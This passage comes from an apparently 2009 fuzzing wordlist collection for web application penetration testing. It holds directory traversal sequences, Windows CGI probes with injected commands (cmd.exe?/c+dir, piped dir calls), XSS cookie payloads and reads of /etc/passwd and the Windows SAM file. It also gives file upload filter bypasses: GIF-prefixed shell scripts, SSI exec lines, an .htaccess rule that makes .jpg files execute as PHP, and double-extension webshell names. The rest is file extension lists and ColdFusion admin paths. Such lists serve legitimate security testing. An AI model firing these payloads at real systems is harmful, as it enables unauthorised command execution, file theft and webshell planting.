/> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> ../{FILE}<br /> ../..//{FILE}<br /> ../..//../{FILE}<br /> ../..//../..//{FILE}<br /> ../..//../..//../{FILE}<br /> ../..//../..//../..//{FILE}<br /> ../..//../..//../..//../{FILE}<br /> ../..//../..//../..//../..//{FILE}<br /> ..\{FILE}<br /> ..\..\\{FILE}<br /> ..\..\\..\{FILE}<br /> ..\..\\..\..\\{FILE}<br /> ..\..\\..\..\\..\{FILE}<br /> ..\..\\..\..\\..\..\\{FILE}<br /> ..\..\\..\..\\..\..\\..\{FILE}<br /> ..\..\\..\..\\..\..\\..\..\\{FILE}<br /> ..///{FILE}<br /> ../..///{FILE}<br /> ../..//..///{FILE}<br /> ../..//../..///{FILE}<br /> ../..//../..//..///{FILE}<br /> ../..//../..//../..///{FILE}<br /> ../..//../..//../..//..///{FILE}<br /> ../..//../..//../..//../..///{FILE}<br /> ..\\\{FILE}<br /> ..\..\\\{FILE}<br /> ..\..\\..\\\{FILE}<br /> ..\..\\..\..\\\{FILE}<br /> ..\..\\..\..\\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\..\..\\\{FILE}<br /> &lt;/pre&gt;<br /> <br /> === Common Windows CGI (Update: 17 March 2009) ===<br /> &lt;pre&gt;# Common Windows CGI (Update: 17 March 2009 <br /> # fuzz inside executable directories<br /> # on windows, this is usually /scripts or /cgi-bin<br /> # adam.muntner@quietmove.com<br /> <br /> cart32.exe<br /> get32.exe<br /> visadmin.exe<br /> foxweb.exe<br /> webplus.exe?about<br /> fpsrvadm.exe<br /> MsmMask.exe<br /> cmd.exe?/c+dir<br /> cmd1.exe?/c+dir<br /> post32.exe|dir%20c:\\<br /> cgitest.exe<br /> hpnst.exe?c=p+i=<br /> Pbcgi.exe<br /> testcgi.exe<br /> webfind.exe?keywords=01234567890123456789<br /> redir.exe?URL=http%3A%2F%2Fwww%2Egoogle%2Ecom%2F%0D%0A%0D%0A%3C<br /> test-cgi.exe?&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> athcgi.exe?command=showpage&amp;script='],[0,0]];alert('Vulnerable');a=[['<br /> mkilog.exe<br /> mkplog.exe<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> perl.exe?-v<br /> perl.exe<br /> ppdscgi.exe<br /> c32web.exe/ChangeAdminPassword<br /> windmail.exe<br /> dbmlparser.exe<br /> cgimail.exe<br /> minimal.exe<br /> rguest.exe<br /> visitor.exe<br /> webbbs.exe<br /> wguest.exe<br /> /_vti_bin/fpcount.exe?Page=default.htm|Image=3|Digits=15<br /> cfgwiz.exe<br /> Cgitest.exe<br /> mailform.exe<br /> post16.exe<br /> imagemap.exe<br /> htimage.exe/path/filename?2,2<br /> htimage.exe<br /> Webnews.exe<br /> texis.exe/junk<br /> apexec.pl?etype=odp&amp;template=../../../../../../../../../../etc/passwd%00.html&amp;passurl=/category/<br /> sensepost.exe?/c+dir<br /> testcgi.exe<br /> testcgi.exe?&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> ion-p.exe?page=c:\winnt\repair\sam<br /> ../../../../../../../../../../WINNT/system32/ipconfig.exe<br /> NUL/../../../../../../../../../WINNT/system32/ipconfig.exe<br /> PRN/../../../../../../../../../WINNT/system32/ipconfig.exe<br /> c32web.exe/GetImage?ImageName=CustomerEmail.txt%00.pdf <br /> foxweb.dll<br /> wconsole.dll<br /> shtml.dll<br /> scripts/slxweb.dll/getfile?type=Library&amp;file=[invalid filename]<br /> rightfax/fuwww.dll/?<br /> WINDMAIL.EXE?%20-n%20c:\boot.ini%<br /> WINDMAIL.EXE?%20-n%20c:\boot.ini%20Hacker@hax0r.com%20|%20dir%20c:\\<br /> GW5/GWWEB.EXE<br /> GW5/GWWEB.EXE?GET-CONTEXT&amp;HTMLVER=AAA<br /> GW5/GWWEB.EXE?HELP=bad-request<br /> GWWEB.EXE?HELP=bad-request<br /> echo.bat<br /> echo.bat?&amp;dir+c:\\<br /> hello.bat?&amp;dir+c:\\<br /> input.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> input2.bat?|dir<br /> input2.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> test-cgi.bat<br /> test.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> tst.bat|dir%20..\\..\\..\\..\\..\\..\\..\\..\\,<br /> &lt;/pre&gt;<br /> <br /> <br /> <br /> <br /> === File Upload Filter Bypass (Update: 17 March 2009 s ===<br /> &lt;pre&gt;# File Upload Fuzzfile - File Name Filter Bypass<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> # For MIME filter bypass, your shellscript should look like<br /> # -------<br /> # GIF89aP;<br /> # [shell]<br /> # -------<br /> #<br /> # For mod_cgi Server Side Include upload attacks<br /> #<br /> #&lt;!--#exec cmd=&quot;ls&quot; --&gt;<br /> #<br /> #or, on Windows<br /> #<br /> #&lt;!--#exec cmd=&quot;dir&quot; --&gt;<br /> #<br /> # Sometimes you can overwrite .htaccess in an upload folder on Apache httpd, try setting .jpg to executable. If you can set the target directory, try fuzz the list of all dirs you've enumberated on the servers, and try the commonly writable directory fuzzfile.<br /> #<br /> # example .htaccess that sets mime type .jpg to be executable:<br /> # -----<br /> # AddType application/x-httpd-php .jpg<br /> # -----<br /> &lt;/pre&gt;<br /> <br /> === Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2009 ===<br /> &lt;pre&gt;# Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> %00index.html<br /> ;index.html<br /> &lt;/pre&gt;<br /> <br /> === Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2009 ===<br /> &lt;pre&gt;# Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009 - notes<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> # also: use &quot;gim&quot; to create a .jpg image with the meta comment field set to:<br /> # -----<br /> #&lt;?php phpinfo(); ?&gt; <br /> #-----<br /> <br /> {PHPSCRIPT}<br /> {PHPSCRIPT}.phtml<br /> {PHPSCRIPT}.php.html<br /> {PHPSCRIPT}.php::$DATA<br /> {PHPSCRIPT}.php.php.rar <br /> {PHPSCRIPT}.php.rar<br /> &lt;/pre&gt;<br /> <br /> === Microsoft-Specific Cross-Platform File Upload Filter Bypass - Filename &lt;pre&gt;Appends (Update: 17 March 2009 ===<br /> # Microsoft-Specific Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> {ASPSCRIPT}<br /> {ASPSCRIPT};<br /> {ASPSCRIPT};.jpg<br /> {ASPSCRIPT};.pdf<br /> {ASPSCRIPT};.html<br /> {ASPSCRIPT};.htm<br /> {ASPSCRIPT};.txt<br /> {ASPSCRIPT};.xyz<br /> {ASPSCRIPT};.zip<br /> {ASPSCRIPT};.tgz<br /> {ASPSCRIPT};.doc<br /> {ASPSCRIPT};.docx<br /> {ASPSCRIPT};.xls<br /> {ASPSCRIPT};.xlsx<br /> &lt;/pre&gt;<br /> === Commonly Writable directories File Upload Filter Bypass - Filename Appends (&lt;pre&gt;Update: 17 March 2009 ===<br /> #Commonly Writable directories File Upload Filter Bypass - Filename Appends (Update: 17 March 2009 <br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> {HOST}/templates_compiled/<br /> {HOST}/templates_c/<br /> {HOST}/templates/<br /> {HOST}/temporary/<br /> {HOST}/images/<br /> {HOST}/cache/<br /> {HOST}/temp/<br /> {HOST}/files/<br /> {HOST}/tmp/<br /> &lt;/pre&gt;<br /> <br /> === Common Data File Extensions (Update: 16 March 2009 - Total Statements: 863 ===<br /> &lt;pre&gt;<br /> #Common Data File Extensions (Update: 16 March 2009 - Total Statements: 863<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> &lt;pre&gt;<br /> .$er<br /> .123<br /> .1pe<br /> .1ph<br /> .3dr<br /> .3dt<br /> .3me<br /> .3pe<br /> .4dl<br /> .4dv<br /> .8xk<br /> .^^^<br /> .a3l<br /> .a3m<br /> .a3w<br /> .a4l<br /> .a4m<br /> .a4w<br /> .a5l<br /> .a5w<br /> .a65<br /> .aao<br /> .ab<br /> .ab1<br /> .ab2<br /> .ab3<br /> .abcd<br /> .abi<br /> .abp<br /> .aby<br /> .aca<br /> .acc<br /> .accdb<br /> .acf<br /> .acg<br /> .ade<br /> .adp<br /> .adt<br /> .adx<br /> .aft<br /> .agd<br /> .aifb<br /> .alc<br /> .ald<br /> .ali<br /> .amb<br /> .amsorm<br /> .an1<br /> .anme<br /> .apr<br /> .arc<br /> .arh<br /> .ask<br /> .asm<br /> .ast<br /> .at5<br /> .att<br /> .aw<br /> .awg<br /> .azw<br /> .bafl<br /> .bci<br /> .bcm<br /> .bdf<br /> .bdic<br /> .bfx<br /> .bgl<br /> .bgt<br /> .bin<br /> .bjo<br /> .bk<br /> .bkk<br /> .blb<br /> .bld<br /> .blg<br /> .bok<br /> .box<br /> .brd<br /> .brw<br /> .btf<br /> .btif<br /> .btm<br /> .btr<br /> .cap<br /> .cat<br /> .cbg<br /> .cch<br /> .ccr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .cdx<br /> .cel<br /> .celtx<br /> .chg<br /> .chk<br /> .chn<br /> .ckd<br /> .ckt<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .clp<br /> .cmbl<br /> .cna<br /> .contact<br /> .cpi<br /> .cpmz<br /> .crd<br /> .crtx<br /> .csa<br /> .csv<br /> .ctf<br /> .ctt<br /> .cursorfx<br /> .curxptheme<br /> .cvd<br /> .cvn<br /> .cwk<br /> .cws<br /> .cwz<br /> .cxt<br /> .cyo<br /> .cys<br /> .daf<br /> .dal<br /> .dam<br /> .das<br /> .dat<br /> .data<br /> .db<br /> .db2<br /> .db3<br /> .dbc<br /> .dbd<br /> .dbf<br /> .dbx<br /> .dcf<br /> .dcl<br /> .dcm<br /> .dcmd<br /> .ddc<br /> .ddcx<br /> .ddt<br /> .dem<br /> .des<br /> .dex<br /> .dfm<br /> .dfproj<br /> .dft<br /> .dgb<br /> .dif<br /> .dii<br /> .dlg<br /> .dm2<br /> .dmo<br /> .dmsk<br /> .dnc<br /> .dockzip<br /> .dp1<br /> .dpn<br /> .dpx<br /> .drl<br /> .dsb<br /> .dsd<br /> .dsk<br /> .dsy<br /> .dsz<br /> .dt0<br /> .dt1<br /> .dt2<br /> .dta<br /> .dtr<br /> .dvdproj<br /> .dvo<br /> .dwi<br /> .e00<br /> .eap<br /> .ebuild<br /> .ec0<br /> .eco<br /> .ecx<br /> .edb<br /> .edf<br /> .eep<br /> .efx<br /> .egp<br /> .emb<br /> .emd<br /> .emlxpart<br /> .enc<br /> .enw<br /> .epp<br /> .epub<br /> .epw<br /> .er1<br /> .esp<br /> .ess<br /> .est<br /> .esx<br /> .et<br /> .eta<br /> .etd<br /> .etl<br /> .ev<br /> .ev3<br /> .evt<br /> .evy<br /> .exif<br /> .exp<br /> .exx<br /> .fa<br /> .fasta<br /> .fbl<br /> .fcd<br /> .fcs<br /> .fdb<br /> .ffd<br /> .ffwp<br /> .fhc<br /> .fid<br /> .fil<br /> .flame<br /> .fll<br /> .flo<br /> .flp<br /> .flt<br /> .fm<br /> .fm5<br /> .fmp<br /> .fo<br /> .fob<br /> .fol<br /> .fop<br /> .fox<br /> .fp<br /> .fp3<br /> .fp4<br /> .fp5<br /> .fp7<br /> .frl<br /> .frm<br /> .fro<br /> .frx<br /> .fsb<br /> .fsc<br /> .ftm<br /> .ftw<br /> .gan<br /> .gbr<br /> .gc<br /> .gcx<br /> .gdb<br /> .ged<br /> .gedcom<br /> .gen<br /> .ggb<br /> .gml<br /> .gms<br /> .gno<br /> .gnp<br /> .gp3<br /> .gpi<br /> .gps<br /> .gpx<br /> .gra<br /> .grade<br /> .grf<br /> .grib<br /> .grk<br /> .grr<br /> .grv<br /> .gs<br /> .gst<br /> .gtp<br /> .gwk<br /> .gxl<br /> .hcc<br /> .hce<br /> .hci<br /> .hcp<br /> .hcr<br /> .hcu<br /> .hda<br /> .hdb<br /> .hdf<br /> .hdi<br /> .hdl<br /> .hif<br /> .hl<br /> .hml<br /> .hmt<br /> .hs2<br /> .hsk<br /> .hst<br /> .htg<br /> .huh<br /> .hyv<br /> .i5z<br /> .ib<br /> .ics<br /> .id2<br /> .idx<br /> .igc<br /> .ihx<br /> .ii<br /> .iif<br /> .img<br /> .imt<br /> .ink<br /> .inp<br /> .ins<br /> .ip<br /> .irock<br /> .irr<br /> .irx<br /> .isf<br /> .itdb<br /> .itl<br /> .itm<br /> .itn<br /> .itw<br /> .itx<br /> .ivt<br /> .iw<br /> .ixb<br /> .jasper<br /> .jdb<br /> .jef<br /> .jmp<br /> .jnt<br /> .job<br /> .joboptions<br /> .joined<br /> .jph<br /> .jrprint<br /> .jrxml<br /> .jude<br /> .kap<br /> .kdb<br /> .kid<br /> .kismac<br /> .kmz<br /> .kpf<br /> .kpp<br /> .kpr<br /> .kpx<br /> .kpz<br /> .l<br /> .l6t<br /> .laccdb<br /> .lbl<br /> .lbx<br /> .lcd<br /> .lcf<br /> .lcm<br /> .ldif<br /> .lex<br /> .lgc<br /> .lgf<br /> .lgh<br /> .lgi<br /> .lgl<br /> .lib<br /> .lif<br /> .livereg<br /> .liveupdate<br /> .lix<br /> .llb<br /> .lms<br /> .lmx<br /> .lnt<br /> .loc<br /> .lp7<br /> .lrf<br /> .lrs<br /> .lrx<br /> .lsf<br /> .lsl<br /> .lsp<br /> .lsr<br /> .lst<br /> .lsu<br /> .lvm<br /> .lw4<br /> .ly<br /> .m<br /> .mag<br /> .mai<br /> .map<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mbf<br /> .mbg<br /> .mbl<br /> .mbp<br /> .mbx<br /> .mc1<br /> .mc9<br /> .mcd<br /> .md<br /> .mdb<br /> .mdc<br /> .mdf<br /> .mdl<br /> .mdm<br /> .mdn<br /> .mdt<br /> .mdx<br /> .mdz<br /> .mem<br /> .menc<br /> .met<br /> .mex<br /> .mfo<br /> .mfp<br /> .mgc<br /> .mls<br /> .mm<br /> .mmap<br /> .mmc<br /> .mmf<br /> .mmp<br /> .mnc<br /> .mng<br /> .mnk<br /> .mno<br /> .mny<br /> .mobi<br /> .moho<br /> .mosaic<br /> .mox<br /> .mpd<br /> .mpj<br /> .mpp<br /> .mpt<br /> .mpx<br /> .mpz<br /> .mq4<br /> .ms10<br /> .mth<br /> .mtw<br /> .mud<br /> .muf<br /> .mw<br /> .mwf<br /> .mws<br /> .mwx<br /> .mxd<br /> .myd<br /> .myi<br /> .nb<br /> .nc<br /> .ndf<br /> .ndk<br /> .ndx<br /> .net<br /> .neta<br /> .nfo<br /> .nitf<br /> .nmind<br /> .not<br /> .notebook<br /> .np<br /> .npl<br /> .npt<br /> .nrl<br /> .ns2<br /> .ns3<br /> .ns4<br /> .nsf<br /> .ntx<br /> .numbers<br /> .nvl<br /> .nyf<br /> .oab<br /> .obj<br /> .odb<br /> .odf<br /> .odp<br /> .ods<br /> .odx<br /> .oeaccount<br /> .ofc<br /> .ofm<br /> .oft<br /> .ofx<br /> .omcs<br /> .omp<br /> .ond<br /> .one<br /> .oo3<br /> .opf<br /> .opx<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .or6<br /> .org<br /> .orx<br /> .otf<br /> .otl<br /> .otln<br /> .ots<br /> .out<br /> .ov2<br /> .ova<br /> .ovf<br /> .p96<br /> .p97<br /> .pab<br /> .paf<br /> .pan<br /> .pbd<br /> .pc<br /> .pcap<br /> .pcb<br /> .pcr<br /> .pd4<br /> .pd5<br /> .pdas<br /> .pdb<br /> .pdd<br /> .pdm<br /> .pds<br /> .pdx<br /> .peb<br /> .pec<br /> .pep<br /> .pex<br /> .pfc<br /> .pfl<br /> .phb<br /> .phm<br /> .pi<br /> .pis<br /> .pjx<br /> .pka<br /> .pkb<br /> .pkh<br /> .pks<br /> .pkt<br /> .pln<br /> .plw<br /> .pmo<br /> .pmr<br /> .pnproj<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pod<br /> .poi<br /> .pos<br /> .postal<br /> .pot<br /> .potm<br /> .potx<br /> .pp2<br /> .ppf<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .prc<br /> .pre<br /> .prf<br /> .prj<br /> .prm<br /> .prs<br /> .psa<br /> .psf<br /> .psm<br /> .pst<br /> .ptb<br /> .ptf<br /> .ptk<br /> .ptm<br /> .ptn<br /> .ptt<br /> .ptz<br /> .pvl<br /> .pwd<br /> .pxj<br /> .pxl<br /> .q07<br /> .q08<br /> .q09<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qdfm<br /> .qel<br /> .qfx<br /> .qif<br /> .qpb<br /> .qpf<br /> .qph<br /> .qpm<br /> .qpw<br /> .qrp<br /> .qsd<br /> .ral<br /> .rbt<br /> .rcd<br /> .rcg<br /> .rdb<br /> .rdf<br /> .rdx<br /> .ref<br /> .ret<br /> .rf1<br /> .rfa<br /> .rfo<br /> .rge<br /> .rgn<br /> .rgo<br /> .rmuf<br /> .rnq<br /> .rod<br /> .rog<br /> .roi<br /> .rou<br /> .rpp<br /> .rpt<br /> .rrt<br /> .rsc<br /> .rsd<br /> .rsw<br /> .rte<br /> .rvt<br /> .rwg<br /> .rzb<br /> .s85<br /> .saf<br /> .sam07<br /> .sar<br /> .sav<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sca<br /> .scf<br /> .sch<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sdp<br /> .sdq<br /> .sds<br /> .sen<br /> .seo<br /> .seq<br /> .ser<br /> .sgml<br /> .sgn<br /> .shp<br /> .shs<br /> .shx<br /> .skc<br /> .skv<br /> .skx<br /> .sle<br /> .slk<br /> .slp<br /> .snapfireshow<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sps<br /> .spub<br /> .spv<br /> .sq<br /> .sqd<br /> .sql<br /> .sqlite<br /> .sqr<br /> .sta<br /> .stc<br /> .stf<br /> .stk<br /> .stl<br /> .stm<br /> .stp<br /> .str<br /> .stt<br /> .stw<br /> .styk<br /> .stykz<br /> .swk<br /> .sxc<br /> .sxi<br /> .sy3<br /> .t01<br /> .t02<br /> .t03<br /> .t04<br /> .t05<br /> .t06<br /> .t07<br /> .t08<br /> .t09<br /> .t2<br /> .t3001<br /> .tax2008<br /> .tax2009<br /> .tb<br /> .tbk<br /> .tbl<br /> .tcc<br /> .tcx<br /> .tda<br /> .tdl<br /> .tdm<br /> .tdt<br /> .te<br /> .te3<br /> .teacher<br /> .tef<br /> .tet<br /> .tfa<br /> .tfd<br /> .tfrd<br /> .tjp<br /> .tk3<br /> .tkfl<br /> .tmw<br /> .tol<br /> .topc<br /> .tpb<br /> .tps<br /> .tr3<br /> .tra<br /> .trd<br /> .trk<br /> .trs<br /> .trx<br /> .tst<br /> .tsv<br /> .ttk<br /> .txa<br /> .txd<br /> .txf<br /> .uccapilog<br /> .ud<br /> .udb<br /> .udeb<br /> .uds<br /> .ulf<br /> .ulz<br /> .update<br /> .upoi<br /> .usr<br /> .uvf<br /> .uwl<br /> .val<br /> .vbpf1<br /> .vcd<br /> .vce<br /> .vcf<br /> .vcs<br /> .vdb<br /> .vdx<br /> .vfs<br /> .vi<br /> .vip<br /> .vle<br /> .vlg<br /> .vmt<br /> .voi<br /> .vok<br /> .vrd<br /> .vscontent<br /> .vsx<br /> .vtx<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb2<br /> .wb3<br /> .wdb<br /> .wdq<br /> .wea<br /> .wfd<br /> .wfm<br /> .wgp<br /> .wgt<br /> .windowslivecontact<br /> .wjr<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wki<br /> .wks<br /> .wku<br /> .wlmp<br /> .wmdb<br /> .wor<br /> .wpc<br /> .wpf<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtb<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xdp<br /> .xds<br /> .xef<br /> .xem<br /> .xfd<br /> .xfo<br /> .xft<br /> .xl<br /> .xlc<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsb<br /> .xlsm<br /> .xlsx<br /> .xlt<br /> .xltm<br /> .xltx<br /> .xlw<br /> .xmcd<br /> .xml<br /> .xmlper<br /> .xmpz<br /> .xpg<br /> .xpj<br /> .xpm<br /> .xpt<br /> .xrp<br /> .xsl<br /> .xslt<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .yam<br /> .zap<br /> .zdb<br /> .zdc<br /> .zix<br /> .zmc<br /> .zpl<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === (Compressed File Types - (Update: 16 March 2009 - Total Statements: 187) ===<br /> &lt;pre&gt;.0<br /> .000<br /> .7z<br /> .a00<br /> .a01<br /> .a02<br /> .ace<br /> .ain<br /> .alz<br /> .apz<br /> .ar<br /> .arc<br /> .arh<br /> .ari<br /> .arj<br /> .ark<br /> .axx<br /> .b64<br /> .ba<br /> .bh<br /> .boo<br /> .bz<br /> .bz2<br /> .bzip<br /> .bzip2<br /> .c00<br /> .c01<br /> .c02<br /> .car<br /> .cb7<br /> .cbr<br /> .cbt<br /> .cbz<br /> .cp9<br /> .cpgz<br /> .cpt<br /> .dar<br /> .dd<br /> .deb<br /> .dgc<br /> .dist<br /> .ecs<br /> .efw<br /> .epi<br /> .f<br /> .fdp<br /> .gca<br /> .gz<br /> .gzi<br /> .gzip<br /> .ha<br /> .hbc<br /> .hbc2<br /> .hbe<br /> .hki<br /> .hki1<br /> .hki2<br /> .hki3<br /> .hpk<br /> .hyp<br /> .ice<br /> .ipg<br /> .ipk<br /> .ish<br /> .j<br /> .jar.pack<br /> .jgz<br /> .jic<br /> .kgb<br /> .lbr<br /> .lemon<br /> .lha<br /> .lnx<br /> .lqr<br /> .lz<br /> .lzh<br /> .lzm<br /> .lzma<br /> .lzo<br /> .lzx<br /> .md<br /> .mint<br /> .mou<br /> .mpkg<br /> .mzp<br /> .oar<br /> .p7m<br /> .pack.gz<br /> .package<br /> .pae<br /> .pak<br /> .paq6<br /> .paq7<br /> .paq8<br /> .par<br /> .par2<br /> .pbi<br /> .pcv<br /> .pea<br /> .pet<br /> .pf<br /> .pim<br /> .pit<br /> .piz<br /> .pkg<br /> .pup<br /> .puz<br /> .pwa<br /> .qda<br /> .r0<br /> .r00<br /> .r01<br /> .r02<br /> .r03<br /> .r1<br /> .r2<br /> .r30<br /> .rar<br /> .rev<br /> .rk<br /> .rnc<br /> .rp9<br /> .rpm<br /> .rte<br /> .rz<br /> .rzs<br /> .s00<br /> .s01<br /> .s02<br /> .s7z<br /> .sar<br /> .sdc<br /> .sdn<br /> .sea<br /> .sen<br /> .sfs<br /> .sfx<br /> .sh<br /> .shar<br /> .shk<br /> .shr<br /> .sit<br /> .sitx<br /> .spt<br /> .sqx<br /> .sqz<br /> .tar<br /> .tar.gz<br /> .tar.xz<br /> .taz<br /> .tbz<br /> .tbz2<br /> .tg<br /> .tgz<br /> .tlz<br /> .tlzma<br /> .txz<br /> .tz<br /> .uc2<br /> .uha<br /> .vem<br /> .vsi<br /> .wad<br /> .war<br /> .wot<br /> .xef<br /> .xez<br /> .xmcdz<br /> .xpi<br /> .xx<br /> .xz<br /> .y<br /> .yz<br /> .z<br /> .z01<br /> .z02<br /> .z03<br /> .z04<br /> .zap<br /> .zfsendtotarget<br /> .zip<br /> .zipx<br /> .zix<br /> .zoo<br /> .zpi<br /> .zz&lt;/pre&gt;<br /> <br /> === (Uncommon Data File Extensions (Update: 16 March 2009 - Total Statements: 284) ===<br /> &lt;pre&gt;<br /> .3me<br /> .3pe<br /> .4dl<br /> .8xk<br /> .^^^<br /> .aao<br /> .ab2<br /> .aca<br /> .accdb<br /> .acf<br /> .acg<br /> .agd<br /> .an1<br /> .anme<br /> .arc<br /> .arh<br /> .ast<br /> .att<br /> .aw<br /> .bafl<br /> .bdf<br /> .bfx<br /> .bjo<br /> .bld<br /> .blg<br /> .btf<br /> .btif<br /> .btr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .chk<br /> .ckd<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .cmbl<br /> .contact<br /> .cpi<br /> .cpmz<br /> .csv<br /> .cwz<br /> .cxt<br /> .daf<br /> .dat<br /> .data<br /> .db<br /> .dcf<br /> .ddt<br /> .dex<br /> .dif<br /> .dmsk<br /> .dnc<br /> .dpx<br /> .dsd<br /> .dt1<br /> .dt2<br /> .dta<br /> .e00<br /> .ec0<br /> .edf<br /> .eep<br /> .efx<br /> .enc<br /> .enw<br /> .epw<br /> .est<br /> .et<br /> .eta<br /> .ev3<br /> .exif<br /> .exp<br /> .fbl<br /> .fdb<br /> .fid<br /> .fol<br /> .gdb<br /> .gen<br /> .gnp<br /> .gpi<br /> .gpx<br /> .hcp<br /> .hdf<br /> .hmt<br /> .hsk<br /> .htg<br /> .id2<br /> .ii<br /> .img<br /> .ink<br /> .ins<br /> .irr<br /> .irx<br /> .iw<br /> .jdb<br /> .jnt<br /> .job<br /> .jrprint<br /> .kmz<br /> .lbx<br /> .lex<br /> .lgf<br /> .lgl<br /> .lib<br /> .liveupdate<br /> .lnt<br /> .lst<br /> .m<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mdb<br /> .mem<br /> .menc<br /> .met<br /> .mmf<br /> .mng<br /> .mpd<br /> .mpp<br /> .ms10<br /> .muf<br /> .mw<br /> .mwf<br /> .mwx<br /> .nc<br /> .ndx<br /> .nfo<br /> .not<br /> .ns2<br /> .ns3<br /> .ns4<br /> .ntx<br /> .numbers<br /> .ods<br /> .oeaccount<br /> .omcs<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .orx<br /> .out<br /> .ov2<br /> .ovf<br /> .paf<br /> .pbd<br /> .pcr<br /> .pdb<br /> .pdx<br /> .peb<br /> .pec<br /> .pfc<br /> .pis<br /> .pln<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pos<br /> .postal<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .pre<br /> .prf<br /> .psa<br /> .psf<br /> .pst<br /> .ptz<br /> .q07<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qfx<br /> .qpf<br /> .qpw<br /> .qsd<br /> .rcd<br /> .rdx<br /> .ref<br /> .rmuf<br /> .roi<br /> .rrt<br /> .rvt<br /> .rwg<br /> .saf<br /> .sam07<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sds<br /> .ser<br /> .sgn<br /> .shs<br /> .skc<br /> .slk<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sql<br /> .stf<br /> .stl<br /> .stm<br /> .sy3<br /> .t08<br /> .t09<br /> .t2<br /> .tax2009<br /> .tdl<br /> .tdt<br /> .te<br /> .teacher<br /> .tmw<br /> .tol<br /> .trk<br /> .trs<br /> .trx<br /> .tsv<br /> .uccapilog<br /> .ud<br /> .udeb<br /> .uds<br /> .update<br /> .uwl<br /> .val<br /> .vcf<br /> .vdb<br /> .vfs<br /> .vip<br /> .vle<br /> .vlg<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb3<br /> .wdq<br /> .wfd<br /> .wfm<br /> .windowslivecontact<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wks<br /> .wlmp<br /> .wpc<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xds<br /> .xfd<br /> .xl<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsx<br /> .xltm<br /> .xltx<br /> .xml<br /> .xmpz<br /> .xsl<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === Cold Fusion Default Files - (Update: 16 March 2009 - Total Statements: 65) ===<br /> &lt;pre&gt;<br /> CFIDE/Administrator/<br /> CFIDE/Administrator/index.cfm<br /> CFIDE/Administrator/login.cfm<br /> CFIDE/Administrator/Application.cfm<br /> CFIDE/Application.cfm<br /> CFIDE/adminapi/<br /> CFIDE/adminapi/Application.cfm<br /> CFIDE/adminapi/administrator.cfc<br /> CFIDE/adminapi/base.cfc<br /> CFIDE/adminapi/customtags/<br /> CFIDE/adminapi/customtags/l10n.cfm<br /> CFIDE/adminapi/customtags/resources<br /> CFIDE/adminapi/customtags/resources/<br /> CFIDE/adminapi/datasource.cfc<br /> CFIDE/adminapi/debugging.cfc<br /> CFIDE/adminapi/eventgateway.cfc<br /> CFIDE/adminapi/extensions.cfc<br /> CFIDE/adminapi/mail.cfc<br /> CFIDE/adminapi/runtime.cfc<br /> CFIDE/adminapi/security.cfc<br /> CFIDE/adminapi/_datasource/<br /> CFIDE/adminapi/_datasource/formatjdbcurl.cfm<br /> CFIDE/adminapi/_datasource/getaccessdefaultsfromregistry.cfm<br /> 